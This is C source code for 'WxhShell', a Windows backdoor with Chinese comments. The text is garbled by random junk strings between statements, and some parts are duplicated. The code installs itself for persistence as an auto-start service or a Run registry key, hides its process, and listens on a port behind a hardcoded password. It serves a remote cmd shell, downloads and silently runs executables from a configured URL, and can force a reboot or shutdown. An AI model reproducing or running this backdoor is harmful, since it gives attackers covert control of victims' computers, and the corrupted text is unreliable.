NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); n8G#TQrAE |H_)u if (!NtQueryInformationProcess) return 0; :g9z^ $g 83l)o$S hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); q%:Jmi> if(!hProcess) return 0; |PJW2PN \
bT]?.si if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |f?C*t', *E)Y?9u" CloseHandle(hProcess); e<^4F%jSK fp![Pbms. hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f|^f^Hu:{ if(hProcess==NULL) return 0; >6DY3\ QT&{M
#Ydn HMODULE hMod; Ju9v n44 char procName[255]; VYAe!{[ unsigned long cbNeeded; B=c^ma ^&rbI,D if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %<muVRkB\ iRVLo~ CloseHandle(hProcess); 1aT$07G0 TQ2Tt" if(strstr(procName,"services")) return 1; // 以服务启动 6Rf5 e #OU {2X return 0; // 注册表启动 G<dXJ ]\\ } 86I* XbOL/6V ^[ // 主模块 j5)qF1W, int StartWxhshell(LPSTR lpCmdLine) v1lj /A { Fszk?0T SOCKET wsl; M1M]]fT0ME BOOL val=TRUE; /(0d{ int port=0; 68!fcK struct sockaddr_in door; tj&A@\/ 1<p"z,c if(wscfg.ws_autoins) Install(); mHMej@ '} kq@ port=atoi(lpCmdLine); *Sf^()5C, HY:@=%R if(port<=0) port=wscfg.ws_port; XHg%X .e AC!R WSADATA data; By_Ui6:D if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; e](=)h| R`&ioRWj if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; o%5bg( setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); L' pZ door.sin_family = AF_INET; ZD{srEa/a door.sin_addr.s_addr = inet_addr("127.0.0.1"); i=a LC*@ door.sin_port = htons(port); !!86Sv >`uS NY"tO if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ckk [n closesocket(wsl); ZkJM?Fzq return 1; !T~d5^l! } p o`$^TB^+ ezvaAhd{ if(listen(wsl,2) == INVALID_SOCKET) { B# fzMaC closesocket(wsl); <X |h* return 1; -DnK)u\@ } h<.[U
$, Wxhshell(wsl); <.B s`P WSACleanup(); S8RB0^Q7 9gg,Dy return 0; k
I~]u g4X,*H } >i%w'uU WLLv a<{ // 以NT服务方式启动 eNFUjDm VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (<X dj^v { 2>k)=hl: DWORD status = 0; \xxVDr. DWORD specificError = 0xfffffff; @RIEO%S :gq@/COo( serviceStatus.dwServiceType = SERVICE_WIN32; E3skC%} serviceStatus.dwCurrentState = SERVICE_START_PENDING; BfT, serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v`BG1&/| serviceStatus.dwWin32ExitCode = 0; Dj+Osh serviceStatus.dwServiceSpecificExitCode = 0; \2xBOe-a] serviceStatus.dwCheckPoint = 0; jPNfLwVkl: serviceStatus.dwWaitHint = 0; @t8kN6. fNPj8\#V, hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1>VS/H` if (hServiceStatusHandle==0) return; znO00qX >}{-! status = GetLastError(); A'1AU:d if (status!=NO_ERROR) v|(b,J3 { _vV&4> serviceStatus.dwCurrentState = SERVICE_STOPPED; Rl4zTAI serviceStatus.dwCheckPoint = 0; pHB35=p28 serviceStatus.dwWaitHint = 0; oQ nk+> }% serviceStatus.dwWin32ExitCode = status; o}+Uy serviceStatus.dwServiceSpecificExitCode = specificError; ;Ph )BY< SetServiceStatus(hServiceStatusHandle, &serviceStatus); YB~t|m65 return; dm=F:\C } V?59.TJ IWo~s serviceStatus.dwCurrentState = SERVICE_RUNNING; m2CWQ[u serviceStatus.dwCheckPoint = 0; 'Q>z** serviceStatus.dwWaitHint = 0; i: M*L< + if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0"psKf' } RIEv*2_O uQ]]]Z(H' // 处理NT服务事件,比如:启动、停止 MlK`sH6 VOID WINAPI NTServiceHandler(DWORD fdwControl) *X
l<aNNx { /cC6qhkp% switch(fdwControl) hdtnC29$ { h<1dTl* case SERVICE_CONTROL_STOP: K6{bYho serviceStatus.dwWin32ExitCode = 0; Va
Yu% serviceStatus.dwCurrentState = SERVICE_STOPPED; `m3QT3B serviceStatus.dwCheckPoint = 0; nH>V Da serviceStatus.dwWaitHint = 0; } .3]
{ Ogke*qM SetServiceStatus(hServiceStatusHandle, &serviceStatus); #;LMtDaL } 1]>$5 1Q return; /~Zc}o,J case SERVICE_CONTROL_PAUSE: QP$nDK< serviceStatus.dwCurrentState = SERVICE_PAUSED; Q)G!Y
(g\ break; dqD;y#/ case SERVICE_CONTROL_CONTINUE: mNx,L+3 serviceStatus.dwCurrentState = SERVICE_RUNNING; U+.PuC[3 break; ApG'jN case SERVICE_CONTROL_INTERROGATE: c>S"`r break; @1<omsl }; :'d76pM- SetServiceStatus(hServiceStatusHandle, &serviceStatus); _b0S } d<^_w!4X} p;qRm}
0} // 标准应用程序主函数 H}h~~7E int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) QT1:>k { ZI58XS+ zP:~O // 获取操作系统版本 ;48P vw>g} OsIsNt=GetOsVer(); ^e?$ ]JiA! GetModuleFileName(NULL,ExeFile,MAX_PATH); e86Aqehle pXPqDA // 从命令行安装 5jn$7iE` if(strpbrk(lpCmdLine,"iI")) Install(); tLS<0 H\)gE> // 下载执行文件 .Lojzx if(wscfg.ws_downexe) { Job/@> ; if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) t/JOERw WinExec(wscfg.ws_filenam,SW_HIDE); fDU+3b } s.^c..e75C ElQJ\% if(!OsIsNt) { M[h1>}$Lz // 如果时win9x,隐藏进程并且设置为注册表启动 kF+ZW%6N HideProc(); <TI3@9\qXE StartWxhshell(lpCmdLine); '1CD-
Bu } tCZpfZ@+= else =QrA0kQR if(StartFromService()) pNp^q/-yB // 以服务方式启动 R'G'&H{N StartServiceCtrlDispatcher(DispatchTable); @<vF]\Ce else Z,0O/RFJ.q // 普通方式启动 3hc#FmLr2b StartWxhshell(lpCmdLine); UG6M9 |.j^G2x return 0; n<{aPLQ } H \r `7 dKU5; ]|,vCKju "3@KRb4f =========================================== &c20x+ PPN q:, PdR >;$1 h=hoV5d@ 7.%f01/i --Oprl " `/c7h16 F
b1EMVu #include <stdio.h> j\!
e9M #include <string.h> /[0F6 #include <windows.h> fb/qoZ #include <winsock2.h> >5c]aNcv #include <winsvc.h> h:f;mn?x #include <urlmon.h> <R>Q4&we( VR"8Di&) #pragma comment (lib, "Ws2_32.lib") 9 >%+bA( #pragma comment (lib, "urlmon.lib") 60'6/3 -=}b;Kf- #define MAX_USER 100 // 最大客户端连接数 658\#x8| #define BUF_SOCK 200 // sock buffer n9DbiL1{ #define KEY_BUFF 255 // 输入 buffer }bp.OV-+ 7 xUE,)? #define REBOOT 0 // 重启 L4~
W/6A #define SHUTDOWN 1 // 关机 @2u#93Y t{~@I #define DEF_PORT 5000 // 监听端口 L+73aN )R~a;?T_c0 #define REG_LEN 16 // 注册表键长度 iNXFk4 #define SVC_LEN 80 // NT服务名长度 >ZX|4U[$P Oohq9f#! // 从dll定义API X\kjAMuW/* typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )PwQ^||{ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~*,Wj?~+7 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +SyUWoM typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); C*a,<` <iRWd // wxhshell配置信息 r4EoJyt struct WSCFG { E.9^&E}PG int ws_port; // 监听端口 W1hX?!xp! char ws_passstr[REG_LEN]; // 口令 ^(DL+r, int ws_autoins; // 安装标记, 1=yes 0=no 'aZASPn[ char ws_regname[REG_LEN]; // 注册表键名 2
^oGwx @ char ws_svcname[REG_LEN]; // 服务名 Gp8psH char ws_svcdisp[SVC_LEN]; // 服务显示名 =6fB*bNk] char ws_svcdesc[SVC_LEN]; // 服务描述信息 a}dw9wU!: char ws_passmsg[SVC_LEN]; // 密码输入提示信息 **n y! int ws_downexe; // 下载执行标记, 1=yes 0=no }Bi@?Sb char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~pRs- char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >P<'L4; %XR<isn }; a(f(R&-:$Y \+9;!VWhl // default Wxhshell configuration k/@Tr
: struct WSCFG wscfg={DEF_PORT, :xtT)w "xuhuanlingzhe", ni<[G0#T 1, >x*)GPDa "Wxhshell", (7~%B" "Wxhshell", 5#2jq<D "WxhShell Service", .zIgbv s "Wrsky Windows CmdShell Service", bJPJ.+G7 "Please Input Your Password: ", 6uqUiRs() 1, dWUUxKC "http://www.wrsky.com/wxhshell.exe", %jTw "Wxhshell.exe" WGPD8. }; KGD'mByt" #"<?_fao~ // 消息定义模块 MO TE/JG char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Qh8C,"a char *msg_ws_prompt="\n\r? for help\n\r#>"; R(`]n!V2 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; iu|v9+ char *msg_ws_ext="\n\rExit."; tpZ->)1 char *msg_ws_end="\n\rQuit."; #
M>wH`Q# char *msg_ws_boot="\n\rReboot..."; %{"dP%|w4} char *msg_ws_poff="\n\rShutdown..."; {[tZ.1.w char *msg_ws_down="\n\rSave to "; !=y Q)l2 /?U!y?t&@ char *msg_ws_err="\n\rErr!"; X.eB ;w/} char *msg_ws_ok="\n\rOK!"; &Sa~/!M @k9Pz<ub char ExeFile[MAX_PATH]; V)h
y0_ int nUser = 0; "koo` J HANDLE handles[MAX_USER]; |T
y=7d , int OsIsNt; =Epq%,4nG ai9 SERVICE_STATUS serviceStatus; #a'r_K=ch) SERVICE_STATUS_HANDLE hServiceStatusHandle; JnHNkCaU `S$sQ& // 函数声明 yV2e5/i int Install(void); 1$( int Uninstall(void); ="2/\*.SL int DownloadFile(char *sURL, SOCKET wsh); 0
u2Ny&6w int Boot(int flag); #9,=Owup
void HideProc(void); #j.FJFGX int GetOsVer(void); |]tZ hI"3< int Wxhshell(SOCKET wsl); CIy^`2wq void TalkWithClient(void *cs); 7>&1nBh. f int CmdShell(SOCKET sock); cm,4&x6 int StartFromService(void); RY<%'\A`~ int StartWxhshell(LPSTR lpCmdLine); `I#`:hj O8y9dX-2 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); s`1^*Dl%+ VOID WINAPI NTServiceHandler( DWORD fdwControl ); 73)Ll"( nALnB1 // 数据结构和表定义 0Z8/R SERVICE_TABLE_ENTRY DispatchTable[] = QoseS/ { hIo0S8MOj$ {wscfg.ws_svcname, NTServiceMain}, PkO!'X {NULL, NULL} mw"}8y }; u GAh7Sop ;j!UY.i // 自我安装 70=(.[^+ int Install(void) .R\p[rv& { 5W{hH\E _5 char svExeFile[MAX_PATH]; 67?n-NP HKEY key; xU:4Y0y8 strcpy(svExeFile,ExeFile); gs fhH0 Bj8<@~bX:L // 如果是win9x系统,修改注册表设为自启动 r,"7%1I if(!OsIsNt) { O:,=xIXR if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MHFaSl RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :P,2K5]y RegCloseKey(key); OGGSS&5tw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N3Z@cp RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]LVnt-q RegCloseKey(key); I{EIHD< return 0; Pt(tRH B } %p*`h43; } C#h76fpH } pND48 g; else { 71*>L}H g}YToOs // 如果是NT以上系统,安装为系统服务 B>@D,)/bT5 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); PqI![KxZW if (schSCManager!=0) Yw1Y-M { gW}} 5Xq SC_HANDLE schService = CreateService qsTq*G ( ?R282l schSCManager, *#6|!%?g wscfg.ws_svcname, u]0!|Jd0 wscfg.ws_svcdisp, L\YZT|
K( SERVICE_ALL_ACCESS, G>JxIrN0 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , c8q G\\t[ SERVICE_AUTO_START, WkP|4&-< SERVICE_ERROR_NORMAL, GRy4cb2 svExeFile, aoK4Du{ NULL, ]o `4Z" NULL, 8TI#7 NULL, t"tNtLI NULL,
ZRO.bMgZF NULL PB@-U.Z ); OoSa95#x if (schService!=0) TtZrttCE6 { bje'Oolc CloseServiceHandle(schService); f)WPOTEY CloseServiceHandle(schSCManager); g{]e j strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); TZkTz
P[ strcat(svExeFile,wscfg.ws_svcname); ,rXW`7!2 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { nE4l0[_ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); y^3,X_0 RegCloseKey(key); (KZUvsS k return 0; )|Jr|8 } X=\x&Wt } Z"+(LO! CloseServiceHandle(schSCManager); }WoX9M; 1 } !SN6
?Xy } Qve`k<Cj" POkXd^pI return 1; E#m76]vkCU } D=<t;+| h@EJTAi // 自我卸载 VB}P Ng int Uninstall(void) ud5x$` { G6f%/m` HKEY key; #xDDh` UX03"gX
if(!OsIsNt) { ">03~:oA if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WReYF+Uen RegDeleteValue(key,wscfg.ws_regname); nvw NjN RegCloseKey(key); ;9 lqSv/6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jD$;q7fB RegDeleteValue(key,wscfg.ws_regname); 4+ykE: RegCloseKey(key); N.kuE=X return 0; `>$gy/N } @fUX)zm> } `W6:=H } AN50P!FZW else { )WzGy~p8K YN$ndqOP SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -<u-
+CbuT if (schSCManager!=0) o<9yaQ; { 1v+JCOy SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $@XPL~4 if (schService!=0) 17?NR\Q { 6yV5Yjs if(DeleteService(schService)!=0) { }?\#_BCjx( CloseServiceHandle(schService); wR`w@5,d CloseServiceHandle(schSCManager); U0lqGEZ return 0; s:qxAUi\/ } ~GsH8yA_P CloseServiceHandle(schService); LbLbJ{68 } v]UU&Jq8U CloseServiceHandle(schSCManager); 5x93+DkO\ } )of5229 } Iqe=#hUFe! \rB/83[;u return 1; -;W\f<q] } ][T9IAn )j)y5_m // 从指定url下载文件 ru(?a~lF8~ int DownloadFile(char *sURL, SOCKET wsh) ?(|TP^ { a!SR"3 k HRESULT hr; %Hh &u
. char seps[]= "/"; *;V2_fWJ@ char *token; J7&.>y1% char *file; f6(9wz$Trt char myURL[MAX_PATH]; wd2P/y42;; char myFILE[MAX_PATH]; 4q@9 kOlI?wc strcpy(myURL,sURL); .lNnY8< token=strtok(myURL,seps); ePu2t3E while(token!=NULL) _mI:Lr#dT { }(vOaD|k= file=token; qx#ghcU token=strtok(NULL,seps); ZQJw2LA gO } :*w:eKk gzJ{Gau{) GetCurrentDirectory(MAX_PATH,myFILE); F?+Uar|-a strcat(myFILE, "\\"); %3@RZe strcat(myFILE, file); s1*WK&@ send(wsh,myFILE,strlen(myFILE),0); $O8EiC!f6 send(wsh,"...",3,0); iX9[Q0g=oQ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =."WvBKg if(hr==S_OK) w$<fSe7 return 0; )oz-<zW else 7p"~:1hU return 1; >x _:=%Wr+ Hhce:E@K } Vms7
Jay )MX1776kU // 系统电源模块 UU:QK{{E int Boot(int flag) =:R[gdA#1 { }1^tK(Am HANDLE hToken; Kw5+4R(5 TOKEN_PRIVILEGES tkp; bQ:3G; #dn%KMo2r if(OsIsNt) { vCH v OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t9-\x LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (^@;`8Dy8 tkp.PrivilegeCount = 1; -fZShOBY` tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /v5g;x_T AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); X:} 5L>' if(flag==REBOOT) { bUg 2Bm!y if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :N'[de return 0; W~@GK } 5F_:[H =
else { ^Ihdq89 t if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
p=P0$P+KM return 0; @SMy0:c: } v.8S
V] } n*8RYm)? else { #lVl?F+~ if(flag==REBOOT) { #}]il0d if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~6kA<(x return 0; ~Sem_U`G } {CyPcD'$s else { gu%'M:Xe if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @BQBNGR 1 return 0; 1X:whS5S } )^'B:ic } p-03V"^& W&re;?Z{ke return 1; @^4M~F% } 7J_f/st LyPBFo[? // win9x进程隐藏模块 l$_+WC*wp void HideProc(void) ^DCv-R+p { co%_~xO ZCF-*nm HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7|eSvC if ( hKernel != NULL ) Xs,PT { r#w_=h) pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >mDubP ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); g4qdm{BL FreeLibrary(hKernel); tS\NO@E_Jh } umn~hb5O vgp%;-p( return; ZJ}LnPr } &``oZvuB Oqe.t;E 0} // 获取操作系统版本 X|B;>q int GetOsVer(void) I\6<)2j/L { tNf" X! OSVERSIONINFO winfo; : )*Ge3 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [k{iN1n
GetVersionEx(&winfo); Q3{&'|}^2 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) TK?+O}v-]! return 1; o-Fle, qf else [cAg'R6 return 0; ]TprPU39 } /<pQ!'/G zi[M{bm // 客户端句柄模块 =v=!x int Wxhshell(SOCKET wsl) 0!\q { x#VUEu]8 SOCKET wsh; 0BD((oNg struct sockaddr_in client; __%E!*m"<_ DWORD myID; JJ3JULL2 (>`SS#(T! while(nUser<MAX_USER) Hu2g (! { Bzt`9lg int nSize=sizeof(client); la 7QN QW wsh=accept(wsl,(struct sockaddr *)&client,&nSize); fzG1<Gem if(wsh==INVALID_SOCKET) return 1; &V{,D))6[ <5vB{)Tq handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); eE_XwLE if(handles[nUser]==0) M.^A` closesocket(wsh); zm"g,\.d else $s!meg@s nUser++; 2/N*Uk 0 } ,]qX_`qF WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); U {!{5l: WN1-J(x6 return 0; 4x=Y9w0?8 } 6+#cyKj N0hU~| / // 关闭 socket SnU{ZGR>sP void CloseIt(SOCKET wsh) >g2.z> { 2` qXDfD` closesocket(wsh); s\R?@ nUser--; gP%! ExitThread(0); [&V%rhi } r0bPaAKw uelTsn // 客户端请求句柄 2MeavTr void TalkWithClient(void *cs) cLP@0`^H { TvwIro X#<Sv>c^ SOCKET wsh=(SOCKET)cs; 0E1)&f char pwd[SVC_LEN]; @'4D9A char cmd[KEY_BUFF]; RtL'fd char chr[1]; )zV5KC{{ int i,j; qNL~m' axOy~%%c while (nUser < MAX_USER) { !YHu _,~zy9{, if(wscfg.ws_passstr) { !{;RtUPz* if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s'4p+eJ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0yNlf-O //ZeroMemory(pwd,KEY_BUFF); (B#|3o i=0; oFp&j@`k8j while(i<SVC_LEN) { Z.JTq~`I [L^#<@S // 设置超时 Pc1N~?}. fd_set FdRead; gK#w$s50 struct timeval TimeOut; T7'$A!c FD_ZERO(&FdRead); Pme?`YO$x FD_SET(wsh,&FdRead); Um<vsR TimeOut.tv_sec=8; )`-]nMc TimeOut.tv_usec=0; yqwr0yDAl int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _jz=BRO$ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {{,%p#/b bP@_4Dy if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CG;D (AWR; pwd=chr[0]; R&0l4g-4> if(chr[0]==0xd || chr[0]==0xa) { rg~CF< pwd=0; 6 -}gqkR break; H_FhHX.2( } 9n'p 7(s% i++; H"l'E9k.&p } Le!I-i(aD rge/jE,^~Z // 如果是非法用户,关闭 socket ,z3b2$
&A if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); yNL71 >w4 } ]u ';zJ. r "R\ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *gn*S3Is[j send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |*$_eb i}19$x.D` while(1) { R7i*f/m |sh U ZeroMemory(cmd,KEY_BUFF); uM8gfY)OI ?H&p zY~H // 自动支持客户端 telnet标准 j^.P=; j=0; Kf.b
<wP{ while(j<KEY_BUFF) { FcA0 \`0M if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l;uEw cmd[j]=chr[0]; q}jf&xUWzH if(chr[0]==0xa || chr[0]==0xd) { [>;O'> cmd[j]=0; p98lu'?@ break; qJ@?[|2R } ;
F=_ozWV* j++; $gNCS:VG* } XHr{\/4V [H1NP'Kg] // 下载文件 ,#G@ri:B if(strstr(cmd,"http://")) { B.?yHaMI[ send(wsh,msg_ws_down,strlen(msg_ws_down),0); /Q!F/HY3ZS if(DownloadFile(cmd,wsh)) Ogb_WO;) send(wsh,msg_ws_err,strlen(msg_ws_err),0); VsC]z,
oV else / @&Sqv4? send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HZT;7< } =T$E
lXwJ else { ( ;"ICk& sR6(8 switch(cmd[0]) { !o@-kl ^6*? a9jO> // 帮助 4M_83WL case '?': { R/#*~tPi8 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); DB0xIP~i,? break; J0#% *B } 4Z_.Jdu w // 安装 u7mj case 'i': { 9hv\%_>o if(Install()) _VlNZ/V send(wsh,msg_ws_err,strlen(msg_ws_err),0); R8 m/Nt2 else ymKdRF send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d|TIrlA break; cZu:dwE } $\bH5|Hk] // 卸载 h %nZKhm case 'r': { eYa gI if(Uninstall()) 4Mprc~ 7vr send(wsh,msg_ws_err,strlen(msg_ws_err),0); #_E8>;)k else \||PW58j send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Dihk8qJ/6 break; b &JPLUr } _ehU:3L`s // 显示 wxhshell 所在路径 eE&F1|8 case 'p': { j.z#fU char svExeFile[MAX_PATH]; yR`-rJb V strcpy(svExeFile,"\n\r"); yqK82z5U*R strcat(svExeFile,ExeFile); ?eu=0|d send(wsh,svExeFile,strlen(svExeFile),0); 4_mh break; .,c8cq? } jk|0 <-3 // 重启 PQfx0n, case 'b': { BAxZR send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {*|yU" if(Boot(REBOOT)) F :u} 7t> send(wsh,msg_ws_err,strlen(msg_ws_err),0); &~k/G else { D\k);BU~ closesocket(wsh); ?FA:K0H?zl ExitThread(0);
oCduY2 } YFW+l~[# break; cZwQ{9> } T1x$v,)8x // 关机 #[A/zH|xvV case 'd': { 5'o.v^l send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "evLI? if(Boot(SHUTDOWN)) d`:0kOF+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); mV;7SBoT else { ZQyT$l~b closesocket(wsh); 9u:MF0:W ExitThread(0); eSvu:euv } 9oaq%Sf break; -Wmpj } Kkd7D_bZ* // 获取shell jReI+
pS case 's': { I($u
L@$ CmdShell(wsh); M0^r!f>O closesocket(wsh); wo*/{KFvh ExitThread(0); D.HAp+lx break; @ O%m, } ^lQej% // 退出 4gYP .h:, case 'x': { LIR2B"3F send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >z(6ADq CloseIt(wsh); =B;)h break; K46mE } sT/pA^rnnR // 离开 iG<|3I case 'q': { ncWASw` send(wsh,msg_ws_end,strlen(msg_ws_end),0); wo?C7,-x closesocket(wsh); r*WdD/r| WSACleanup(); \+5 L.Q exit(1); "Uyw7 break; #Uudx~b } Sm-nb*ZyC } H#1/H@I# } (US8Sc 9gWQGkql // 提示信息 7C&`i}/t if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u52@{@Ad } (=p}b:Z } YpuA,r;" F9d][ P@@ return; [V1gj9t=, } ,@<-h* m ~kYF/B2* // shell模块句柄 of(Nq@ int CmdShell(SOCKET sock) bf}r8$, { A]R"C:o STARTUPINFO si; IPJs$PtKok ZeroMemory(&si,sizeof(si)); Z-:$)0f si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xNjA>S\]W5 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8^M5u>=t; PROCESS_INFORMATION ProcessInfo; NeNKOW#X char cmdline[]="cmd"; 8l?]UFM>C CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); E{j6OX\ return 0; KnbP@!+c } bG\1<:6B q/]tJ{FI // 自身启动模式 m@jOIt!< int StartFromService(void) lMP|$C { + J_W }G typedef struct ph69u #Og { J@1 (2%)|Z DWORD ExitStatus; {5*+ DWORD PebBaseAddress; `UeF3~)>E DWORD AffinityMask; M`"2; DWORD BasePriority; Q,jlKgB5: ULONG UniqueProcessId; S~m*t i( ULONG InheritedFromUniqueProcessId; hf%W grO. } PROCESS_BASIC_INFORMATION; z?V > ST ay4|N!ExO PROCNTQSIP NtQueryInformationProcess; 6Q\n<&,{ !(+?\+U lE static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,(lD5iN static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Xst&QKU 3aW4Gs<g HANDLE hProcess; 7O"T`> PROCESS_BASIC_INFORMATION pbi; sba0Q[IY a3p|>M6E HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <Qwi 0$ if(NULL == hInst ) return 0; q^,^tw Ih"f98lV g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");
?5Lom#^ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8whjPn0 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); igz&7U8gg FUMAvVQ if (!NtQueryInformationProcess) return 0; ;/ p)vR rJZ-/]Xf!6 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ! a1j c_ if(!hProcess) return 0; R[o KhU 6s>PZh if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; egKYlfe" =(zk-J<nY CloseHandle(hProcess); |[xi"E\ mb?yG:L=0b hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); W*VQ"CW{^] if(hProcess==NULL) return 0; #bf^Pq'8 JB**z00; HMODULE hMod; WqwD"WX+w char procName[255]; J2yq|n?2gq unsigned long cbNeeded; 6`%}s3Xq 6eQrupa if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); k98--kc5 W5sVQ`S- CloseHandle(hProcess); !L> 'g Qg1LT8 if(strstr(procName,"services")) return 1; // 以服务启动 mnG\UK,k @p}H@#/u\ return 0; // 注册表启动 7%L-;xcr]B } JQI`9$asuC d0|Q1R+3 // 主模块 At.WBa3j%{ int StartWxhshell(LPSTR lpCmdLine) R?^FO:nM%! { 0wxQ,PI1' SOCKET 